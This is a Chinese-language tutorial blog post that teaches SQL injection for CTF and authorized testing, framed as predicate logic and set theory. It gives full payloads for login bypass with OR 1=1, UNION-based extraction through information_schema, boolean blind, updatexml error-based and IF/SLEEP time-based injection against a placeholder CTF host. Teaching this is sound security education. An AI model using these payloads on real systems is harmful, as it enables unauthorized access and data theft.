教你用最简单的数学自底向上地高效学习SQL注入

本文只讲解技术原理与防御思路,所有示例均用于授权测试或CTF竞赛学习。未经授权对他人系统进行测试属于违法行为,请勿用于非法用途。

前言:你为什么背了100个Payload,还是不会写第101个?

网上90%的SQL注入教程,教的都是"药方":

  • 登录框就试 ' OR 1=1 --
  • 有回显就试 UNION SELECT 1,2,3
  • 没回显就试 AND SLEEP(5)

你照着敲,确实能出结果。但问题在于:换一个场景、换一个数据库、换一道CTF题,你又不确定该试什么了。

因为你在背单词 ,而不是懂语法

这篇文章要做的事,就是把SQL注入背后那套一以贯之的数学逻辑拆出来给你看。你会发现:

  • 所有注入手法,本质上干的是同一件事
  • 99%的Payload结构,都可以现场推导,不需要背
  • 遇到新场景时,你的思考流程会变成:"页面反馈什么 → 对应哪个数学模型 → 现场构造Payload"

这个思路,就是"自底向上"------先弄懂地基(数学逻辑),再去看地面上的建筑(各种注入手法)。地基稳了,上面怎么盖都跑不偏。


第一章:只学四句,就能覆盖90%的注入场景

先别管数据库、函数名、语法细节。我们只学四句逻辑骨架

这四句对应的数学思想分别是:

序号 逻辑骨架 数学本质 一句话人话
OR 永真 谓词逻辑------或运算短路 "要么满足条件,要么老子说的永远对"
AND 永假 谓词逻辑------且运算测谎 "我加一个假条件,页面变不变?"
UNION SELECT 集合论------并集运算 "把我的数据粘在你的数据屁股后面"
AND + SUBSTRING 逐字拆解 谓词逻辑 + 断言遍历 "猜一个字符,对了页面就正常"

第一句和第二句是逻辑基石,第四句是第二句的具体应用。后面你会看到它们如何串联。

这四句学透,你已经能覆盖联合注入、布尔盲注、报错注入、时间盲注 四大核心流派。剩下的只是不同数据库换函数名(比如SLEEP换成pg_sleep),逻辑不变。


第一句:OR 永真 ------ 逻辑短路,绕开身份验证

数学本质A OR True 恒等于 True。不管A是真是假,只要OR后面跟了一个永远为真的命题,整个表达式就被"短路"成真。

实战场景:登录框。

后台的查询逻辑通常是这样:

sql 复制代码
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'

如果查到了数据,就说明账号密码正确,允许登录。

现在,你在用户名框里输入:

ini 复制代码
admin' OR 1=1 --

后台拼接后变成:

sql 复制代码
SELECT * FROM users WHERE username = 'admin' OR 1=1 --' AND password = 'xxx'

-- 是SQL里的注释符号,它会把后面的AND password全部"掐掉"。所以真正执行的逻辑是:

sql 复制代码
SELECT * FROM users WHERE username = 'admin' OR 1=1

因为1=1永远为真,所以OR后面的条件恒成立。整个查询条件变成 ,数据库返回该表中的第一条用户数据(通常是管理员)。

于是,你不需要知道密码,就以管理员身份登录了。

关键洞察OR 1=1 不是用来"拿数据"的,它是用来断路的------它让前面的条件判断失效,强行让整个查询返回真。


第二句:AND 永假 ------ 逻辑测谎,探测漏洞是否存在

数学本质A AND False 恒等于 False。不管A是真是假,只要AND后面跟了一个永远为假的命题,整个表达式就被"拉"成假。

实战场景 :URL参数 ?id=1,页面显示一条商品详情。

我们先输入:

ini 复制代码
?id=1 AND 1=1

因为1=1为真,原条件id=1 AND 真 = 真,页面正常显示商品。

再输入:

ini 复制代码
?id=1 AND 1=2

因为1=2为假,原条件id=1 AND 假 = 假,页面变成空白或报错。

关键结论来了

  • 页面正常 = 我附加的条件为
  • 页面空白/报错 = 我附加的条件为

服务器变成了一台真值表显示器。你问它一个"是/否"问题,它用"正常/空白"来回答你。

这就是 "布尔盲注" 的起点------你还没有开始偷数据,但你已经有了一台测谎仪


第三句:UNION SELECT ------ 集合合并,把数据粘到页面上

这是有回显位 时的主力武器。它的数学本质是集合论里的并集运算:把两个结果集上下堆叠成一张大表。

但要用UNION,必须先满足一个硬规则:左右两侧的查询必须返回相同的列数。这是集合合并的基础要求。

推演:一步一步拿到数据

假设靶机地址是 http://ctf.target/product?id=1,正常页面显示商品名称和价格。

第1步:清空原始结果集

如果原查询返回了数据,UNION会把我们粘的数据排在它下面。为了让我们粘的数据独占页面顶部 ,先让原查询返回空集

ini 复制代码
?id=-1

数据库里没有id=-1的商品,所以原查询返回空集。接下来 空集 ∪ 你的数据 = 你的数据,完美。

第2步:数清楚有几列(用 ORDER BY 探测)

因为UNION要求左右列数相等,你首先得知道原查询返回了几列。

依次尝试:

ini 复制代码
?id=-1 ORDER BY 1   → 正常
?id=-1 ORDER BY 2   → 正常
?id=-1 ORDER BY 3   → 正常
?id=-1 ORDER BY 4   → 报错

ORDER BY按第几列排序,排到不存在的列就会报错。报错的那个数字减1,就是列数。

在这个例子里,报错发生在4,说明原查询返回 3列

第3步:占位,看哪些列能被页面显示

现在你知道有3列了,输入:

ini 复制代码
?id=-1 UNION SELECT 1,2,3

页面可能出现这样的情况:只显示了231没显示。

这说明:网页后端只取了结果集的第2列第3列渲染到页面上(第1列可能被用于内部逻辑,不展示)。

至此,你找到了两个"坑位"(第2列和第3列),可以在这些位置塞任何你想偷的数据。

进阶技巧:如果占位符不显示数字,只显示"裂图"怎么办?

把占位符从数字换成字符串,比如 'x'。如果页面上显示了字母x,说明这一列能承载文本数据,适合拿来偷密码;如果还是裂图,说明这一列只能存图片路径之类的数据,放弃它,换另一列试。

这个动作的数学含义是值域测试------先摸清这个"坑位"能装什么类型的数据,再决定怎么利用它。

第4步:查目录表,找到目标表和列

你现在知道第2列和第3列能显示内容,但你还不知道flag藏在哪里。

每个数据库都自带一张"目录表",记录着所有表名和列名:

  • information_schema.tables → 记录所有表名
  • information_schema.columns → 记录所有列名

先在显示位里查表名:

sql 复制代码
?id=-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables

页面上原本显示2的位置,开始滚动出大量表名。你很快发现了 flag_table

再查这张表有哪些列:

sql 复制代码
?id=-1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='flag_table'

页面显示:flag_col

第5步:收割数据

sql 复制代码
?id=-1 UNION SELECT 1, flag_col, 3 FROM flag_table

第2列的位置赫然出现:flag{SQL_Math_Master}

特例:如果flag_table有几百行,页面只显示第一行怎么办?

flag_col换成group_concat(flag_col),这个函数会把多行数据粘成一个字符串,一次性全部显示出来。


第四句:AND + SUBSTRING 逐字拆解 ------ 布尔盲注的核心

现在回头看第二句(AND 永假),我们只用它来探测漏洞是否存在。但它真正的威力,是在你有了"测谎仪"之后------你开始用这台测谎仪,去猜数据库里的每一个字符

数学本质 :把要猜的字符拆出来,作为一个"断言"挂在AND后面。断言为真,页面正常;断言为假,页面空白。

推演:逐字爆破解密

假设你已经知道flag_table里有flag_col,但页面没有任何显示位,也没有报错信息。你只有"正常/空白"两种状态。

第1步:先确定目标数据的长度

ini 复制代码
?id=1 AND (SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=40

如果页面正常,说明长度为40;如果空白,继续试41、42......

这一步可以用二分查找优化:先试>30,再试>35,效率更高。

第2步:逐位猜字符

你已经知道长度是40了。现在猜第一个字符:

sql 复制代码
?id=1 AND (SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a'
  • 页面正常 → 第一个字符是a
  • 页面空白 → 换成'b'继续试

依次试'c''d'......直到试出正确的那个,然后猜第2位、第3位......直到拼出完整的flag{...}

优化技巧:逐字试26个字母太慢。可以用ASCII码配合二分查找:

问"ASCII码是否大于100"→ 正常/空白 → 缩小一半范围 → 再问"是否大于110"......

平均7次就能确定一个字符,比试26次快得多。


至此,你已经学完了四句核心骨架

回顾一下:

  1. OR 永真 → 登录绕过,逻辑短路
  2. AND 永假 → 漏洞探针 + 测谎仪
  3. UNION SELECT → 有回显时直接粘数据
  4. AND + SUBSTRING → 无回显时用测谎仪逐字猜

但这四句只覆盖了**"有回显""有真假状态"**两种情况。

如果页面既不显示数据,也不区分正常/空白,只抛出报错信息 呢?

如果页面什么都看不到,唯一能感知的是网络响应时间呢?

第二章:当页面沉默时------报错注入与时间盲注

上一章的四句骨架,依赖的是两种页面反馈:数据显示 (UNION)和真伪状态(AND测谎)。

但CTF里有一种更恶心的场景:页面既没有显示位,也不区分正常和空白------你输入什么都长一样,唯一能看到的是一行报错信息,或者什么都看不到只能靠计时。

这两种场景,数学上其实更简单。因为它们只是把"输出通道"换了个地方:一个走的是异常抛出通道 ,一个走的是时间延迟通道


报错注入:异常即通道

场景特征:页面没有任何显示位,也没有"正常/空白"的真假变化。但只要你输入非法语法,页面就会弹出一行MySQL报错信息。开发没有关闭报错提示。

数学本质 :把目标数据拼入一个必然会触发类型错误的函数参数中,让数据库在报错时把数据"夹带"在错误信息里吐出来。

目标 :通过报错信息拿到flag

推演开始

假设靶机地址 http://ctf.target/product?id=1,正常访问显示一个默认商品图。你输入任何AND 1=2页面都没有变化,但输入一个畸形语法会弹出报错。

第1步:确认报错函数可用

先用一个纯测试性的报错函数------updatexml(),它用于修改XML文档的路径。

ini 复制代码
?id=1 AND updatexml(1, 0x7e, 1)

0x7e是波浪号~的十六进制表示,它不是合法的XPath路径。如果页面报错信息里出现了~,说明数据库确实执行了我们的函数,并且报错信息能携带我们塞进去的内容。

页面反应:

go 复制代码
XPATH syntax error: '~'

确认:报错函数可用,报错信息能携带数据。

第2步:爆库名

ini 复制代码
?id=1 AND updatexml(1, concat(0x7e, database()), 1)

database()返回当前数据库名(比如ctf_db),concat把它和波浪号粘成~ctf_db,塞进updatexml的第二个参数。

页面反应:

go 复制代码
XPATH syntax error: '~ctf_db'

库名到手。

第3步:爆表名(逐行提取)

报错注入有一个硬伤:一次只能"震"出一行数据。如果information_schema.tables里有100张表,直接查会报错截断。所以需要用LIMIT逐条取。

先取第一张表:

ini 复制代码
?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 0, 1)), 1)

页面显示~users。再取第二张:

ini 复制代码
?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1, 1)), 1)

页面显示~products。继续往后取,直到发现flag_table

第4步:爆列名

找到flag_table后,查它的列名:

sql 复制代码
?id=1 AND updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0, 1)), 1)

震出flag_col

第5步:爆数据

ini 复制代码
?id=1 AND updatexml(1, concat(0x7e, (SELECT flag_col FROM flag_table LIMIT 0, 1)), 1)

页面显示:

go 复制代码
XPATH syntax error: '~flag{SQL_Math_Master}'

数据到手。

报错注入的关键洞察

  • 你不需要显示位,不需要真伪状态
  • 你只需要一个能把数据塞进报错信息里的函数
  • updatexmlextractvalue是MySQL中最常用的两个报错函数
  • 不同数据库有不同函数(比如PostgreSQL用cast()触发类型转换报错),但数学逻辑完全一致:把目标数据映射到异常信息中

时间盲注:时域即信号

场景特征 :页面绝对静止------无显示位、无报错信息、无真伪变化。所有请求返回的HTTP状态码和页面内容完全一样。唯一能感知的差异,是浏览器右下角的加载转圈时间

数学本质 :把要判断的"布尔命题"作为IF语句的条件,条件为真就执行延迟函数(比如睡5秒),条件为假就立即返回。用响应时间的差值来反推数据的每一位。

目标 :用"秒表"把flag一位一位量出来。

推演开始

第1步:确认延迟函数可用

先测SLEEP()基元是否被允许执行。

输入:

ini 复制代码
?id=1 AND IF(1=1, SLEEP(5), 0)

浏览器转了整整5秒才加载完。

再输入:

ini 复制代码
?id=1 AND IF(1=2, SLEEP(5), 0)

浏览器瞬间加载完。

确认:IF(条件, 真时执行, 假时执行)工作正常。条件为真就睡5秒,条件为假就跳过。我们有了一个逻辑秒表

第2步:确定数据长度

你猜flag可能是flag{...}格式,长度大约40左右。但要精确。

依次试:

scss 复制代码
?id=1 AND IF((SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=30, SLEEP(5), 0)

等了5秒 → 长度为30?不对,是30确实匹配了。继续试31、32......直到试到40时卡了5秒。

确认长度为40。

第3步:逐位猜字符

现在猜第一个字符。把flag_col的第一位拆出来,和字母表(a-z, 0-9, {, })逐一比对。

scss 复制代码
?id=1 AND IF((SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)

瞬间加载完 → 不是'a'。试'b'、'c'......试到'f'时,卡了5秒。

第一位是'f'。

再猜第二位:

scss 复制代码
?id=1 AND IF((SELECT SUBSTRING(flag_col, 2, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)

依次试,直到拼出完整的flag{...}

优化技巧:二分查找

逐字试26个字母太慢。用ASCII码做二分查找,7次就能定位一个字符。

先问:

scss 复制代码
?id=1 AND IF((SELECT ASCII(SUBSTRING(flag_col, 1, 1)) FROM flag_table LIMIT 1)>100, SLEEP(5), 0)

如果卡5秒 → ASCII码大于100。再问>110,再问>115......每次缩小一半范围。7次之后精确锁定字符的ASCII码值。

40个字符 × 7次 = 280次请求,远快于40 × 26 = 1040次。

时间盲注的关键洞察

  • 你不需要任何可见反馈
  • 你需要的是一个能将布尔值映射为时间差的函数组合IF + SLEEP
  • 不同数据库的延迟函数不同(MySQL是SLEEP,PostgreSQL是pg_sleep,SQLite没有内置延迟函数但可以用复杂计算替代)
  • 数学本质不变:布尔命题 → 时间差映射

第三章:四类通道的统一框架

现在你学完了四句骨架 + 两个延伸流派。把它们放在一起看,就清晰了。

所有注入手法在做同一件事

寻找"输出侧信道"

数据库执行了你的查询,得出了结果。但结果不会主动告诉你------你需要找到一个你能观测到的物理通道,让数据库把结果"吐"到这个通道上。

通道类型 观测方式 代表手法 数学本质
结果集通道 页面显示数据 UNION SELECT 集合并集投影
真值通道 页面正常/空白 AND 1=1 / 1=2 谓词真值表
异常通道 报错信息内容 updatexml报错 类型系统冲突
时间通道 响应耗时 IF + SLEEP 条件延迟执行

攻击决策流程

当你面对一个输入点时,按这个流程走,不需要背任何Payload:

ini 复制代码
输入点 → 测注入点(单引号) → 确认执行环境(1=1/1=2)
→ 选输出通道:
   有显示位? → UNION(结果集通道)
   有报错信息? → updatexml(异常通道)
   有真伪状态? → AND + SUBSTRING(真值通道)
   只有时间能感知? → IF + SLEEP(时间通道)
→ 构造Payload → 提取数据

三个终极问题

面对任意注入场景,你只需要问自己三个问题:

  1. 当前页面能给我什么反馈?

    显示位?报错信息?真伪状态?还是只有响应时间?

  2. 我该如何把查询结果"塞"进这个反馈通道里?

    比如显示位就用UNION粘,报错通道就用concat拼进报错函数,时间通道就用IF挂载延迟函数。

  3. 这个通道能承载多大的数据量?

    一次显示一整行?一次只能一个字符?一次最多显示一行的前N个字符?根据这个决定用LIMIT逐条取,还是用group_concat合并,还是用SUBSTRING逐字拆。


写在最后

当你掌握了这套数学框架,面对任意输入点时,你的思维流程会变成:

页面反馈类型 → 选取对应数学模型 → 现场推导Payload结构

这个过程叫创造 ,而不是背诵

你不需要记住updatexml的第二个参数是什么类型,不需要记住extractvalue的语法细节,不需要背information_schema里有哪些表。你只需要知道:

  • 我需要一个能触发报错的函数
  • 我需要一个能记录所有表名的系统表
  • 我需要把目标数据拼接成参数塞进去

然后去查文档、翻笔记、现场试。这比背100个Payload有效得多。

因为Payload会变,数据库会变,WAF规则会变。但集合论不会变,谓词逻辑不会变,映射关系不会变

这就是"自底向上"的力量。


免责声明

本文所有技术内容仅供网络安全爱好者学习CTF竞赛、进行授权系统测试使用。未经授权对任何生产系统、第三方网站或个人账户进行渗透测试属于违法行为。作者及本文发布平台不承担因读者违规操作所产生的任何法律责任。请遵守《中华人民共和国网络安全法》及相关法律法规,在合法合规的前提下学习技术知识。


全文完。

相关推荐
Python私教1 小时前
Django 6.0 自带 Tasks 到底能不能替代 Celery?跑完 3 组后台任务后我有答案了
后端·python·django
看昭奚恤哭2 小时前
ontainer App】Container App无法从Container Registries 拉取镜像 - 报错 Forbidden
后端·python·flask
程序员cxuan3 小时前
DeepSeek-V4-Flash 正式版来了!这次提升有点夸张。
人工智能·后端·程序员
小杍随笔5 小时前
2025年Rust GUI框架实战万字避坑指南
开发语言·后端·rust
geovindu6 小时前
CSharp: LogHelper
开发语言·后端·c#·.net
fliter6 小时前
Go设计取舍之一: goroutine 为什么保持匿名、无状态
后端
fliter6 小时前
Go设计取舍之二: maps.Keys和Values为什么返回迭代器
后端
热心市民lcj6 小时前
Spring Boot 整合 Caffeine 本地缓存实战
spring boot·后端·缓存
Revolution616 小时前
Nest.js 是什么:怎样用它写出第一个后端接口
后端·node.js·nestjs